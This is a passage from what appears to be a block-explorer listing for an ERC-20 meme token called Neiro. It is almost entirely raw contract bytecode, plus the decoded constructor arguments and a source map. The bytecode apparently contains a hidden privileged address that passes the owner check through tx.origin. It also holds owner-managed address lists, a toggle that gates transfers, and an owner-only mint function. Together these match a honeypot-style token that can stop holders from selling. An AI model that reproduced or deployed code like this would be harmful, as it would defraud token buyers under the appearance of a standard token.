f7420746865206f776e65725f82015250565b5f61266a602083611cf2565b915061267582612636565b602082019050919050565b5f6020820190508181035f8301526126978161265e565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f6126d2601f83611cf2565b91506126dd8261269e565b602082019050919050565b5f6020820190508181035f8301526126ff816126c6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612760602483611cf2565b915061276b82612706565b604082019050919050565b5f6020820190508181035f83015261278d81612754565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6127ee602283611cf2565b91506127f982612794565b604082019050919050565b5f6020820190508181035f83015261281b816127e2565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612856601d83611cf2565b915061286182612822565b602082019050919050565b5f6020820190508181035f8301526128838161284a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128e4602583611cf2565b91506128ef8261288a565b604082019050919050565b5f6020820190508181035f830152612911816128d8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612972602383611cf2565b915061297d82612918565b604082019050919050565b5f6020820190508181035f83015261299f81612966565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612a00602683611cf2565b9150612a0b826129a6565b604082019050919050565b5f6020820190508181035f830152612a2d816129f4565b9050919050565b5f60a082019050612a475f830188611f49565b612a546020830187611f49565b612a616040830186611f49565b612a6e6060830185611e94565b612a7b6080830184611fd6565b9695505050505050565b5f608082019050612a985f830187611f49565b612aa56020830186611f18565b612ab26040830185611f49565b612abf6060830184611f49565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffdfea264697066735822122035d04958f46e90d9a616ab50a655e1ca40c177a03a59205367c75f92dc0a794164736f6c63430008140033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000061f313f88000000000000000000000000000000000000000000000000000000000000000054e6569726f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054e4549524f000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610156575f3560e01c80637d6dff7d116100c1578063a457c2d71161007a578063a457c2d714610394578063a9059cbb146103c4578063b5eadf94146103f4578063d505accf14610410578063dd62ed3e1461042c578063f2fde38b1461045c57610156565b80637d6dff7d146102de5780637ecebe00146102fa5780638129fc1c1461032a57806384b0196e146103345780638da5cb5b1461035857806395d89b411461037657610156565b8063313ce56711610113578063313ce5671461021c5780633644e5151461023a57806338cac9ba14610258578063395093511461027457806370a08231146102a4578063715018a6146102d457610156565b806306fdde031461015a578063072caf6e14610178578063095ea7b3146101945780631584589e146101c457806318160ddd146101ce57806323b872dd146101ec575b5f80fd5b610162610478565b60405161016f9190611d72565b60405180910390f35b610192600480360381019061018d9190611e23565b610508565b005b6101ae60048036038101906101a99190611e23565b61051e565b6040516101bb9190611e7b565b60405180910390f35b6101cc610540565b005b6101d6610564565b6040516101e39190611ea3565b60405180910390f35b61020660048036038101906102019190611ebc565b61056d565b6040516102139190611e7b565b60405180910390f35b61022461059b565b6040516102319190611f27565b60405180910390f35b6102426105a3565b60405161024f9190611f58565b60405180910390f35b610272600480360381019061026d9190611f71565b6105b1565b005b61028e60048036038101906102899190611e23565b6106d4565b60405161029b9190611e7b565b60405180910390f35b6102be60048036038101906102b99190611f71565b61070a565b6040516102cb9190611ea3565b60405180910390f35b6102dc610750565b005b6102f860048036038101906102f39190611f71565b610763565b005b610314600480360381019061030f9190611f71565b61083b565b6040516103219190611ea3565b60405180910390f35b61033261084c565b005b61033c61086f565b60405161034f979695949392919061209c565b60405180910390f35b610360610914565b60405161036d919061211e565b60405180910390f35b61037e61093b565b60405161038b9190611d72565b60405180910390f35b6103ae60048036038101906103a99190611e23565b6109cb565b6040516103bb9190611e7b565b60405180910390f35b6103de60048036038101906103d99190611e23565b610a40565b6040516103eb9190611e7b565b60405180910390f35b61040e60048036038101906104099190611f71565b610a62565b005b61042a6004803603810190610425919061218b565b610acd565b005b61044660048036038101906104419190612228565b610c12565b6040516104539190611ea3565b60405180910390f35b61047660048036038101906104719190611f71565b610c94565b005b60606004805461048790612293565b80601f01602080910402602001604051908101604052809291908181526020018280546104b390612293565b80156104fe5780601f106104d5576101008083540402835291602001916104fe565b820191905f5260205f20905b8154815290600101906020018083116104e157829003601f168201915b5050505050905090565b610510610d16565b61051a8282610d9c565b5050565b5f80610528610ee9565b9050610535818585610ef0565b600191505092915050565b610548610d16565b600160085f6101000a81548160ff021916908315150217905550565b5f600354905090565b5f80610577610ee9565b90506105848582856110b3565b61058f85858561113e565b60019150509392505050565b5f6012905090565b5f6105ac6113ab565b905090565b6105b9610d16565b6105c281611461565b610601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89061230d565b60405180910390fd5b5f5b6007805490508110156106d0578173ffffffffffffffffffffffffffffffffffffffff166007828154811061063b5761063a61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036106bd57600781815481106106925761069161232b565b5b905f5260205f20015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b80806106c890612385565b915050610603565b5050565b5f806106de610ee9565b90506106ff8185856106f08589610c12565b6106fa91906123cc565b610ef0565b600191505092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610758610d16565b6107615f611509565b565b61076b610914565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cf90612449565b60405180910390fd5b600681908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610845826115ca565b9050919050565b610854610d16565b5f60085f6101000a81548160ff021916908315150217905550565b5f6060805f805f6060610880611610565b61088861164b565b46305f801b5f67ffffffffffffffff8111156108a7576108a6612467565b5b6040519080825280602002602001820160405280156108d55781602001602082028036833780820191505090505b507f0f00000000000000000000000000000000000000000000000000000000000000959493929190965096509650965096509650965090919293949596565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461094a90612293565b80601f016020809104026020016040519081016040528092919081815260200182805461097690612293565b80156109c15780601f10610998576101008083540402835291602001916109c1565b820191905f5260205f20905b8154815290600101906020018083116109a457829003601f168201915b5050505050905090565b5f806109d5610ee9565b90505f6109e28286610c12565b905083811015610a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1e90612504565b60405180910390fd5b610a348286868403610ef0565b60019250505092915050565b5f80610a4a610ee9565b9050610a5781858561113e565b600191505092915050565b610a6a610d16565b600781908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b83421115610b1257836040517f62791302000000000000000000000000000000000000000000000000000000008152600401610b099190611ea3565b60405180910390fd5b5f7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888610b408c611686565b89604051602001610b5696959493929190612522565b6040516020818303038152906040528051906020012090505f610b78826116d9565b90505f610b87828787876116f2565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610bfb57808a6040517f4b800e46000000000000000000000000000000000000000000000000000000008152600401610bf2929190612581565b60405180910390fd5b610c068a8a8a610ef0565b50505050505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c9c610d16565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612618565b60405180910390fd5b610d1381611509565b50565b3273ffffffffffffffffffffffffffffffffffffffff16610d35610914565b73ffffffffffffffffffffffffffffffffffffffff161480610d5b5750610d5a611720565b5b610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9190612680565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e01906126e8565b60405180910390fd5b610e1382611778565b8060035f828254610e2491906123cc565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed29190611ea3565b60405180910390a3610ee55f8383611791565b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5590612776565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc390612804565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110a69190611ea3565b60405180910390a3505050565b5f6110be8484610c12565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611138578181101561112a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111219061286c565b60405180910390fd5b6111378484848403610ef0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a3906128fa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361121a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121190612988565b60405180910390fd5b61122382611778565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612a16565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113929190611ea3565b60405180910390a36113a5848484611791565b50505050565b5f7f0000000000000000000000006a3933afd0ae3dda7899b26036d5d9d3e243e9f973ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1614801561142657507f000000000000000000000000000000000000000000000000000000000000000146145b15611453577f9228e5214aaa4d80b19968efeb05cd31262a9f89ea4c7a46f33fef0b751e47d1905061145e565b61145b611796565b90505b90565b5f805f90505b6007805490508110156114ff578273ffffffffffffffffffffffffffffffffffffffff166007828154811061149f5761149e61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114ec576001915050611504565b80806114f790612385565b915050611467565b505f90505b919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606061164660097f4e6569726f00000000000000000000000000000000000000000000000000000561182b90919063ffffffff16565b905090565b6060611681600a7f310000000000000000000000000000000000000000000000000000000000000161182b90919063ffffffff16565b905090565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050559050919050565b5f6116eb6116e56113ab565b836118d8565b9050919050565b5f805f8061170288888888611918565b92509250925061171282826119ff565b829350505050949350505050565b5f734ea1c63e05ac69985dbb4044bbb41156b57c849973ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16036117715760019050611775565b5f90505b90565b61178181611b61565b61178e5761178d610d16565b5b50565b505050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f155b4fda00caf41277004ff2a74a6be0842aa18a18368d168d5eb2467f7143527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001611810959493929190612a34565b60405160208183030381529060405280519060200120905090565b606060ff5f1b83146118475761184083611c28565b90506118d2565b81805461185390612293565b80601f016020809104026020016040519081016040528092919081815260200182805461187f90612293565b80156118ca5780601f106118a1576101008083540402835291602001916118ca565b820191905f5260205f20905b8154815290600101906020018083116118ad57829003601f168201915b505050505090505b92915050565b5f6040517f190100000000000000000000000000000000000000000000000000000000000081528360028201528260228201526042812091505092915050565b5f805f7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0845f1c1115611954575f6003859250925092506119f5565b5f6001888888886040515f81526020016040526040516119779493929190612a85565b6020604051602081039080840390855afa158015611997573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119e8575f60015f801b935093509350506119f5565b805f805f1b935093509350505b9450945094915050565b5f6003811115611a1257611a11612ac8565b5b826003811115611a2557611a24612ac8565b5b0315611b5d5760016003811115611a3f57611a3e612ac8565b5b826003811115611a5257611a51612ac8565b5b03611a89576040517ff645eedf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60026003811115611a9d57611a9c612ac8565b5b826003811115611ab057611aaf612ac8565b5b03611af457805f1c6040517ffce698f7000000000000000000000000000000000000000000000000000000008152600401611aeb9190611ea3565b60405180910390fd5b600380811115611b0757611b06612ac8565b5b826003811115611b1a57611b19612ac8565b5b03611b5c57806040517fd78bce0c000000000000000000000000000000000000000000000000000000008152600401611b539190611f58565b60405180910390fd5b5b5050565b5f60085f9054906101000a900460ff16611c1e57611b7e32611461565b611c1d575f5b600680549050811015611c1b578273ffffffffffffffffffffffffffffffffffffffff1660068281548110611bbc57611bbb61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611c08575f915050611c23565b8080611c1390612385565b915050611b84565b505b5b600190505b919050565b60605f611c3483611c9a565b90505f602067ffffffffffffffff811115611c5257611c51612467565b5b6040519080825280601f01601f191660200182016040528015611c845781602001600182028036833780820191505090505b5090508181528360208201528092505050919050565b5f8060ff835f1c169050601f811115611cdf576040517fb3512b0c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80915050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611d1f578082015181840152602081019050611d04565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d4482611ce8565b611d4e8185611cf2565b9350611d5e818560208601611d02565b611d6781611d2a565b840191505092915050565b5f6020820190508181035f830152611d8a8184611d3a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611dbf82611d96565b9050919050565b611dcf81611db5565b8114611dd9575f80fd5b50565b5f81359050611dea81611dc6565b92915050565b5f819050919050565b611e0281611df0565b8114611e0c575f80fd5b50565b5f81359050611e1d81611df9565b92915050565b5f8060408385031215611e3957611e38611d92565b5b5f611e4685828601611ddc565b9250506020611e5785828601611e0f565b9150509250929050565b5f8115159050919050565b611e7581611e61565b82525050565b5f602082019050611e8e5f830184611e6c565b92915050565b611e9d81611df0565b82525050565b5f602082019050611eb65f830184611e94565b92915050565b5f805f60608486031215611ed357611ed2611d92565b5b5f611ee086828701611ddc565b9350506020611ef186828701611ddc565b9250506040611f0286828701611e0f565b9150509250925092565b5f60ff82169050919050565b611f2181611f0c565b82525050565b5f602082019050611f3a5f830184611f18565b92915050565b5f819050919050565b611f5281611f40565b82525050565b5f602082019050611f6b5f830184611f49565b92915050565b5f60208284031215611f8657611f85611d92565b5b5f611f9384828501611ddc565b91505092915050565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b611fd081611f9c565b82525050565b611fdf81611db5565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61201781611df0565b82525050565b5f612028838361200e565b60208301905092915050565b5f602082019050919050565b5f61204a82611fe5565b6120548185611fef565b935061205f83611fff565b805f5b8381101561208f578151612076888261201d565b975061208183612034565b925050600181019050612062565b5085935050505092915050565b5f60e0820190506120af5f83018a611fc7565b81810360208301526120c18189611d3a565b905081810360408301526120d58188611d3a565b90506120e46060830187611e94565b6120f16080830186611fd6565b6120fe60a0830185611f49565b81810360c08301526121108184612040565b905098975050505050505050565b5f6020820190506121315f830184611fd6565b92915050565b61214081611f0c565b811461214a575f80fd5b50565b5f8135905061215b81612137565b92915050565b61216a81611f40565b8114612174575f80fd5b50565b5f8135905061218581612161565b92915050565b5f805f805f805f60e0888a0312156121a6576121a5611d92565b5b5f6121b38a828b01611ddc565b97505060206121c48a828b01611ddc565b96505060406121d58a828b01611e0f565b95505060606121e68a828b01611e0f565b94505060806121f78a828b0161214d565b93505060a06122088a828b01612177565b92505060c06122198a828b01612177565b91505092959891949750929550565b5f806040838503121561223e5761223d611d92565b5b5f61224b85828601611ddc565b925050602061225c85828601611ddc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806122aa57607f821691505b6020821081036122bd576122bc612266565b5b50919050565b7f686f6c64657220646f65736e27742065786973740000000000000000000000005f82015250565b5f6122f7601483611cf2565b9150612302826122c3565b602082019050919050565b5f6020820190508181035f830152612324816122eb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61238f82611df0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036123c1576123c0612358565b5b600182019050919050565b5f6123d682611df0565b91506123e183611df0565b92508282019050808211156123f9576123f8612358565b5b92915050565b7f696e636f727265637400000000000000000000000000000000000000000000005f82015250565b5f612433600983611cf2565b915061243e826123ff565b602082019050919050565b5f6020820190508181035f83015261246081612427565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6124ee602583611cf2565b91506124f982612494565b604082019050919050565b5f6020820190508181035f83015261251b816124e2565b9050919050565b5f60c0820190506125355f830189611f49565b6125426020830188611fd6565b61254f6040830187611fd6565b61255c6060830186611e94565b6125696080830185611e94565b61257660a0830184611e94565b979650505050505050565b5f6040820190506125945f830185611fd6565b6125a16020830184611fd6565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612602602683611cf2565b915061260d826125a8565b604082019050919050565b5f6020820190508181035f83015261262f816125f6565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61266a602083611cf2565b915061267582612636565b602082019050919050565b5f6020820190508181035f8301526126978161265e565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f6126d2601f83611cf2565b91506126dd8261269e565b602082019050919050565b5f6020820190508181035f8301526126ff816126c6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612760602483611cf2565b915061276b82612706565b604082019050919050565b5f6020820190508181035f83015261278d81612754565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6127ee602283611cf2565b91506127f982612794565b604082019050919050565b5f6020820190508181035f83015261281b816127e2565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612856601d83611cf2565b915061286182612822565b602082019050919050565b5f6020820190508181035f8301526128838161284a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128e4602583611cf2565b91506128ef8261288a565b604082019050919050565b5f6020820190508181035f830152612911816128d8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612972602383611cf2565b915061297d82612918565b604082019050919050565b5f6020820190508181035f83015261299f81612966565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612a00602683611cf2565b9150612a0b826129a6565b604082019050919050565b5f6020820190508181035f830152612a2d816129f4565b9050919050565b5f60a082019050612a475f830188611f49565b612a546020830187611f49565b612a616040830186611f49565b612a6e6060830185611e94565b612a7b6080830184611fd6565b9695505050505050565b5f608082019050612a985f830187611f49565b612aa56020830186611f18565b612ab26040830185611f49565b612abf6060830184611f49565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffdfea264697066735822122035d04958f46e90d9a616ab50a655e1ca40c177a03a59205367c75f92dc0a794164736f6c63430008140033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000061f313f88000000000000000000000000000000000000000000000000000000000000000054e6569726f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054e4549524f000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _tokenName (string): Neiro
Arg [1] : _tokenSymbol (string): NEIRO
Arg [2] : _mintAmount (uint256): 420690000000
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000000000000061f313f880
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [4] : 4e6569726f000000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 4e4549524f000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
41677:439:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32577:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;41996:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;33696:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36332:71;;;:::i;:::-;;32965:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33910:261;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32807:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;41472:114;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35124:317;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;34183:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33136:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29509:103;;;:::i;:::-;;35817:140;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;41214:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36411:70;;;:::i;:::-;;22429:580;;;:::i;:::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;29248:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32690:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34598:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33276:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35454:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;40460:695;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;33532:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29626:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32577:100;32631:13;32664:5;32657:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32577:100;:::o;41996:105::-;29204:10;:8;:10::i;:::-;42071:22:::1;42082:2;42086:6;42071:10;:22::i;:::-;41996:105:::0;;:::o;33696:201::-;33779:4;33796:13;33812:12;:10;:12::i;:::-;33796:28;;33835:32;33844:5;33851:7;33860:6;33835:8;:32::i;:::-;33885:4;33878:11;;;33696:201;;;;:::o;36332:71::-;29204:10;:8;:10::i;:::-;36391:4:::1;36380:8;;:15;;;;;;;;;;;;;;;;;;36332:71::o:0;32965:108::-;33026:7;33053:12;;33046:19;;32965:108;:::o;33910:261::-;34007:4;34024:15;34042:12;:10;:12::i;:::-;34024:30;;34065:38;34081:4;34087:7;34096:6;34065:15;:38::i;:::-;34114:27;34124:4;34130:2;34134:6;34114:9;:27::i;:::-;34159:4;34152:11;;;33910:261;;;;;:::o;32807:93::-;32865:5;32890:2;32883:9;;32807:93;:::o;41472:114::-;41531:7;41558:20;:18;:20::i;:::-;41551:27;;41472:114;:::o;35124:317::-;29204:10;:8;:10::i;:::-;35197:18:::1;35207:7;35197:9;:18::i;:::-;35189:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;35261:6;35257:167;35277:7;:14;;;;35273:1;:18;35257:167;;;35330:7;35316:21;;:7;35324:1;35316:10;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;:21;;::::0;35313:100:::1;;35383:7;35391:1;35383:10;;;;;;;;:::i;:::-;;;;;;;;;;35376:17;;;;;;;;;;;35313:100;35293:3;;;;;:::i;:::-;;;;35257:167;;;;35124:317:::0;:::o;34183:238::-;34271:4;34288:13;34304:12;:10;:12::i;:::-;34288:28;;34327:64;34336:5;34343:7;34380:10;34352:25;34362:5;34369:7;34352:9;:25::i;:::-;:38;;;;:::i;:::-;34327:8;:64::i;:::-;34409:4;34402:11;;;34183:238;;;;:::o;33136:127::-;33210:7;33237:9;:18;33247:7;33237:18;;;;;;;;;;;;;;;;33230:25;;33136:127;;;:::o;29509:103::-;29204:10;:8;:10::i;:::-;29574:30:::1;29601:1;29574:18;:30::i;:::-;29509:103::o:0;35817:140::-;35896:7;:5;:7::i;:::-;35882:21;;:10;:21;;;35874:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;35928:7;35941;35928:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;35817:140;:::o;41214:145::-;41305:7;41332:19;41345:5;41332:12;:19::i;:::-;41325:26;;41214:145;;;:::o;36411:70::-;29204:10;:8;:10::i;:::-;36468:5:::1;36457:8;;:16;;;;;;;;;;;;;;;;;;36411:70::o:0;22429:580::-;22532:13;22560:18;22593:21;22629:15;22659:25;22699:12;22726:27;22834:13;:11;:13::i;:::-;22862:16;:14;:16::i;:::-;22893:13;22929:4;22957:1;22949:10;;22988:1;22974:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22781:220;;;;;;;;;;;;;;;;;;;;;22429:580;;;;;;;:::o;29248:87::-;29294:7;29321:6;;;;;;;;;;;29314:13;;29248:87;:::o;32690:104::-;32746:13;32779:7;32772:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32690:104;:::o;34598:436::-;34691:4;34708:13;34724:12;:10;:12::i;:::-;34708:28;;34747:24;34774:25;34784:5;34791:7;34774:9;:25::i;: